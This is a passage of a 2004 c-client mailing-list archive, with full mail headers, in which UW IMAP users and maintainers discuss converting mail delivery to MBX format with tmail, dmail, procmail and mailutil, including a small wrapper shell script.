ESMTP id iA8G4ZYa031955 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 08:04:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8G4UWD014980; Mon, 8 Nov 2004 08:04:30 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8G3EHU115890 for ; Mon, 8 Nov 2004 08:03:14 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8G3Dng027039 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Nov 2004 08:03:14 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8G3DgU020994; Mon, 8 Nov 2004 08:03:13 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8G3Dp9030553; Mon, 8 Nov 2004 08:03:13 -0800 Message-Id: Date: Mon, 8 Nov 2004 08:03:13 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Timo Veith Cc: c-client@u.washington.edu Subject: Re: errors with pop3 In-Reply-To: <200411081522.46382.tv@rz-zw.fh-kl.de> References: <200411051128.37579.tv@rz-zw.fh-kl.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Nov 2004, Timo Veith wrote: > Because I don't have a recent version of uw-imap (not even modern) and I > would prefer to leave uw-imap as it is, do you think it is a good idea > to use exim for filtering out the X-UID header? If you can do this, yes that is an excellent idea. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 8 12:19:18 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 12:19:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8KJIBD022552 for ; Mon, 8 Nov 2004 12:19:18 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8KJHxq012162 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 12:19:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8KJAud015968; Mon, 8 Nov 2004 12:19:10 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8KHeIC060356 for ; Mon, 8 Nov 2004 12:17:41 -0800 Received: from pmesmtp03.mci.com (pmesmtp03.mci.com [199.249.20.32]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8KHeNP007452 for ; Mon, 8 Nov 2004 12:17:40 -0800 Received: from dgismtp03.wcomnet.com ([166.38.58.143]) by firewall.mci.com (Iplanet MTA 5.2) with ESMTP id <0I6V005IYN0L9V@firewall.mci.com> for c-client@u.washington.edu; Mon, 08 Nov 2004 20:17:09 +0000 (GMT) Received: from dgismtp03.wcomnet.com by dgismtp03.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0I6V00H01MVKJJ@dgismtp03.mcilink.com> for c-client@u.washington.edu; Mon, 08 Nov 2004 20:17:08 +0000 (GMT) Received: from [131.146.27.78] by dgismtp03.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0I6V00H5AMZOGX@dgismtp03.mcilink.com> for c-client@u.washington.edu; Mon, 08 Nov 2004 20:16:36 +0000 (GMT) Message-Id: <418FD41A.9070704@fullmesh.net> Date: Mon, 08 Nov 2004 15:16:26 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: c-client@u.washington.edu Subject: Mailbox format how-to MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello there. I am investigating converting my mail server to using MBX format (vs. mbox) for everything. Using tmail for delivery (via sendmail 8.12), and uw-imap 2004 for access to INBOX and personal folders. So, my question is this. Is there some sort of how-to for building a system? I know I need to: - modify sendmail.cf (and friends: submit.cf?) to call tmail instead of mail.local. The tmail man page has a little info on this. - Modify by calls in my procmailrc to use dmail instead of just specifying the mailbox name (i thing. this right?) So, is there any way to tell tmail to deliver to an mbx format "main mail spool" if the file doesn't already exist? I know if it exists, it'll deliver in the correct format, but what if it vanishes? How hard is it to modify procmailrc's to use dmail? A single source of information would be nice, if there was one. Right now there seem to be a small number of sources of info for different parts of it, so I thought I'd ask. Thanks! - Chris -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 8 13:24:21 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 13:24:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8LOLld025376 for ; Mon, 8 Nov 2004 13:24:21 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8LOKUw014758 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 13:24:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8LOEBv017466; Mon, 8 Nov 2004 13:24:14 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8LNBXE060314 for ; Mon, 8 Nov 2004 13:23:11 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8LNAFV027208 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Nov 2004 13:23:11 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8LN9ht023643; Mon, 8 Nov 2004 13:23:10 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8LN9n2032433 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 8 Nov 2004 13:23:09 -0800 Message-Id: Date: Mon, 8 Nov 2004 13:21:06 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Ross Cc: c-client@u.washington.edu Subject: Re: Mailbox format how-to In-Reply-To: <418FD41A.9070704@fullmesh.net> References: <418FD41A.9070704@fullmesh.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Nov 2004, Chris Ross wrote: > - modify sendmail.cf (and friends: submit.cf?) to call tmail instead > of mail.local. The tmail man page has a little info on this. > - Modify by calls in my procmailrc to use dmail instead of just > specifying the mailbox name (i thing. this right?) So far, so good. > So, is there any way to tell tmail to deliver to an mbx format > "main mail spool" if the file doesn't already exist? I know if > it exists, it'll deliver in the correct format, but what if it > vanishes? The easiest way to do this is to edit file imap-200?/src/osdep/unix/Makefile to set CREATEPROTO=mbxproto instead of the current unixproto. Then rebuild the entire UW IMAP toolkit. However, once created, an mbx-format mailbox shouldn't vanish. So, it should work just to create empty mbx-format mailboxes for everybody who doesn't have it. It works to create one, and then copy it to each user (there isn't any user-specific in an empty mbx-format mailbox). That way, you don't have to do any rebuilding. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 8 14:51:59 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 14:51:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8Mpwm0030889 for ; Mon, 8 Nov 2004 14:51:58 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8MpvjQ019169 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 14:51:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8MpnlR018256; Mon, 8 Nov 2004 14:51:50 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8ModWM095300 for ; Mon, 8 Nov 2004 14:50:39 -0800 Received: from omzesmtp01.mci.com (omzesmtp01.mci.com [199.249.17.7]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8Modc9008912 for ; Mon, 8 Nov 2004 14:50:39 -0800 Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mci.com (Iplanet MTA 5.2) with ESMTP id <0I6V007EOU45BB@firewall.mci.com> for c-client@u.washington.edu; Mon, 08 Nov 2004 22:50:29 +0000 (GMT) Received: from pmismtp04.wcomnet.com by pmismtp04.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0I6V00501U25TA@pmismtp04.mcilink.com>; Mon, 08 Nov 2004 22:50:29 +0000 (GMT) Received: from [131.146.27.78] by pmismtp04.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0I6V0046KU3ITW@pmismtp04.mcilink.com>; Mon, 08 Nov 2004 22:50:06 +0000 (GMT) Message-Id: <418FF813.2040902@fullmesh.net> Date: Mon, 08 Nov 2004 17:49:55 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Mailbox format how-to In-Reply-To: References: <418FD41A.9070704@fullmesh.net> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > The easiest way to do this is to edit file > imap-200?/src/osdep/unix/Makefile > to set > CREATEPROTO=mbxproto > instead of the current unixproto. Then rebuild the entire UW IMAP toolkit. Yeah, I knew about that method. I was just wondering if there was a way to make dmail (from procmailrc, for example) know to instantiate new mail folders as mbx instead of mbox. It seems not unreasonable to have command-line args for tmail/dmail (other than -I) that could specify format. But, what to do in the case that it doesn't match existing format might be an issue. > However, once created, an mbx-format mailbox shouldn't vanish. So, it > should work just to create empty mbx-format mailboxes for everybody who > doesn't have it. It works to create one, and then copy it to each user > (there isn't any user-specific in an empty mbx-format mailbox). That > way, you don't have to do any rebuilding. Okay. How would you recommend creating this empty mbx mailbox? It would be a bit of a pain to make sure to create a spool mbx file for any new user I want to receive mail from, but not the worst problem. Most other folder creations will be done through IMAPd, tho, so may still require the above. So... - Chris From pinedev@shivax2.cac.washington.edu Mon Nov 8 14:58:32 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 14:58:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8MwWuP031720 for ; Mon, 8 Nov 2004 14:58:32 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8MwV21021630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 14:58:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8MwSgU012182; Mon, 8 Nov 2004 14:58:28 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8MvqUQ013604 for ; Mon, 8 Nov 2004 14:57:52 -0800 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8MvhcU029062 for ; Mon, 8 Nov 2004 14:57:50 -0800 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id iA8Mvg7373272 for ; Mon, 8 Nov 2004 16:57:42 -0600 (CST) Message-Id: Date: Mon, 8 Nov 2004 16:57:42 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Mooney To: c-client@u.washington.edu Subject: Re: Mailbox format how-to In-Reply-To: <418FF813.2040902@fullmesh.net> References: <418FD41A.9070704@fullmesh.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In regard to: Re: Mailbox format how-to, Chris Ross said (at 5:49pm on Nov...: > Mark Crispin wrote: >> The easiest way to do this is to edit file >> imap-200?/src/osdep/unix/Makefile >> to set >> CREATEPROTO=mbxproto >> instead of the current unixproto. Then rebuild the entire UW IMAP toolkit. > > Yeah, I knew about that method. I was just wondering if there > was a way to make dmail (from procmailrc, for example) know to > instantiate new mail folders as mbx instead of mbox. It seems not > unreasonable to have command-line args for tmail/dmail (other than > -I) that could specify format. But, what to do in the case that > it doesn't match existing format might be an issue. Are you planning on doing home directory mail delivery, or delivery to a spool directory for INBOX and other folders live under ~ or ~/mail? >> However, once created, an mbx-format mailbox shouldn't vanish. So, it >> should work just to create empty mbx-format mailboxes for everybody who >> doesn't have it. It works to create one, and then copy it to each user >> (there isn't any user-specific in an empty mbx-format mailbox). That way, >> you don't have to do any rebuilding. > > Okay. How would you recommend creating this empty mbx mailbox? mailutil create '#driver.mbx/foo' creates folder `foo' in MBX format. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 From pinedev@shivax2.cac.washington.edu Mon Nov 8 15:07:34 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 15:07:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8N7YA9000507 for ; Mon, 8 Nov 2004 15:07:34 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8N7XQZ022771 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 15:07:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8N7Un1012374; Mon, 8 Nov 2004 15:07:30 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8N6f8u103868 for ; Mon, 8 Nov 2004 15:06:41 -0800 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8N6c7I002341 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Nov 2004 15:06:40 -0800 Received: from [192.168.1.5] (h00a0cc5b0d4a.ne.client2.attbi.com [65.96.147.245]) (authenticated bits=0) by rs15.luxsci.com (8.12.11/8.12.11) with ESMTP id iA8N6MoG026039 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 8 Nov 2004 17:06:23 -0600 Message-Id: <418FFB02.5020809@luxsci.com> Date: Mon, 08 Nov 2004 18:02:26 -0500 Reply-To: kangas@luxsci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Kangas To: Chris Ross , c-client@u.washington.edu Subject: Re: Mailbox format how-to In-Reply-To: <418FF813.2040902@fullmesh.net> References: <418FD41A.9070704@fullmesh.net> <418FF813.2040902@fullmesh.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Chris Ross wrote: > Mark Crispin wrote: > >> The easiest way to do this is to edit file >> imap-200?/src/osdep/unix/Makefile >> to set >> CREATEPROTO=mbxproto >> instead of the current unixproto. Then rebuild the entire UW IMAP >> toolkit. > > > Yeah, I knew about that method. I was just wondering if there > was a way to make dmail (from procmailrc, for example) know to > instantiate new mail folders as mbx instead of mbox. It seems not > unreasonable to have command-line args for tmail/dmail (other than > -I) that could specify format. But, what to do in the case that > it doesn't match existing format might be an issue. You could do this with a little shell script, something like "dmail-create.sh" we use: #!/bin/bash if [ ! -e "$HOME/$1" ] && [ $1 != ".inbox" ]; then /usr/local/bin/mbxcreat "#driver.mbx:$1" fi /usr/local/bin/dmail "+$1" Where this script takes 1 command line argument - the path of the folder in which you want to save the message, relative to the user's home directory. ".inbox" is supposed to be in unix format so sendmail can deliver to it directly "if all else fails", hence the exception. Then, in your .procmailrc scripts, instead of delivering to dmail, you deliver to dmail-create.sh. I.e. LOCK=.lock.user.id :0 :${LOCK} | /usr/local/bin/dmail-create.sh INBOX This way, the folder will be created in MBX format if it doesn't exist before dmail tries to save the message. We didn't find any easier way to accomplish this for arbitrary folders; it would be nice if dmail could do this itself. -Erik Kangas -- Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated kangas@luxsci.com --- http://luxsci.com Office Phone: 1-617-507-2162 Cell Phone: 1-617-596-9558 P.O. Box 326 Luxsci Toll Free: 1-800-441-6612 Westwood, Massachusetts LuxSci FAX: 1-413-332-0598 02090, USA From pinedev@shivax2.cac.washington.edu Mon Nov 8 15:18:36 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 15:18:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8NIac0002136 for ; Mon, 8 Nov 2004 15:18:36 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8NIZwX024440 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 15:18:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8NIV58013074; Mon, 8 Nov 2004 15:18:31 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8NHpxK036084 for ; Mon, 8 Nov 2004 15:17:51 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8NHo4W027665 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Nov 2004 15:17:51 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8NHdV7003413; Mon, 8 Nov 2004 15:17:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8NHdbN000468 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 8 Nov 2004 15:17:39 -0800 Message-Id: Date: Mon, 8 Nov 2004 15:15:35 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Erik Kangas Cc: Chris Ross , c-client@u.washington.edu Subject: Re: Mailbox format how-to In-Reply-To: <418FFB02.5020809@luxsci.com> References: <418FD41A.9070704@fullmesh.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Nov 2004, Erik Kangas wrote: > #!/bin/bash > if [ ! -e "$HOME/$1" ] && [ $1 != ".inbox" ]; then > /usr/local/bin/mbxcreat "#driver.mbx:$1" > fi > /usr/local/bin/dmail "+$1" I recommend using "mailutil create" instead of "mbxcreat" since the latter program is no longer supported. > We didn't find any easier way to accomplish this for arbitrary folders; it > would be nice if dmail could do this itself. I'm not sure that I understand. dmail never creates a non-INBOX mailbox; if the destination mailbox does not exist then dmail will deliver to INBOX. Do you mean "convert mailbox format"? If so, mailutil can be used to convert, albeit to a different name. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 8 15:25:22 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 15:25:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8NPMX5003076 for ; Mon, 8 Nov 2004 15:25:22 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8NPL4V022431 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 8 Nov 2004 15:25:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA8NPJQu013846; Mon, 8 Nov 2004 15:25:19 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8NOop7122860 for ; Mon, 8 Nov 2004 15:24:50 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8NOmRp002161 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Nov 2004 15:24:49 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA8NOk3M016545; Mon, 8 Nov 2004 15:24:46 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA8NOksd003962 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 8 Nov 2004 15:24:46 -0800 Message-Id: Date: Mon, 8 Nov 2004 15:22:42 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Ross Cc: c-client@u.washington.edu Subject: Re: Mailbox format how-to In-Reply-To: <418FF813.2040902@fullmesh.net> References: <418FD41A.9070704@fullmesh.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Nov 2004, Chris Ross wrote: >> CREATEPROTO=mbxproto > Yeah, I knew about that method. I was just wondering if there > was a way to make dmail (from procmailrc, for example) know to > instantiate new mail folders as mbx instead of mbox. dmail is built as part of the IMAP toolkit, so its behavior will be affected by the change to CREATEPROTO. > It seems not > unreasonable to have command-line args for tmail/dmail (other than > -I) that could specify format. But, what to do in the case that > it doesn't match existing format might be an issue. It's messier than that; there are some security issues as well. The -I flag in tmail could be abused for some truly nasty purposes if it was allowed for non-privileged calls. > Okay. How would you recommend creating this empty mbx mailbox? "mailutil create #driver.mbx/foo" will create an empty file named foo which you can then copy to "INBOX" in the home directory of all the users you want to convert to mbx. By the way, you do know that you can't use mbx format with NFS, don't you? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 8 18:33:32 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Nov 2004 18:33:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with 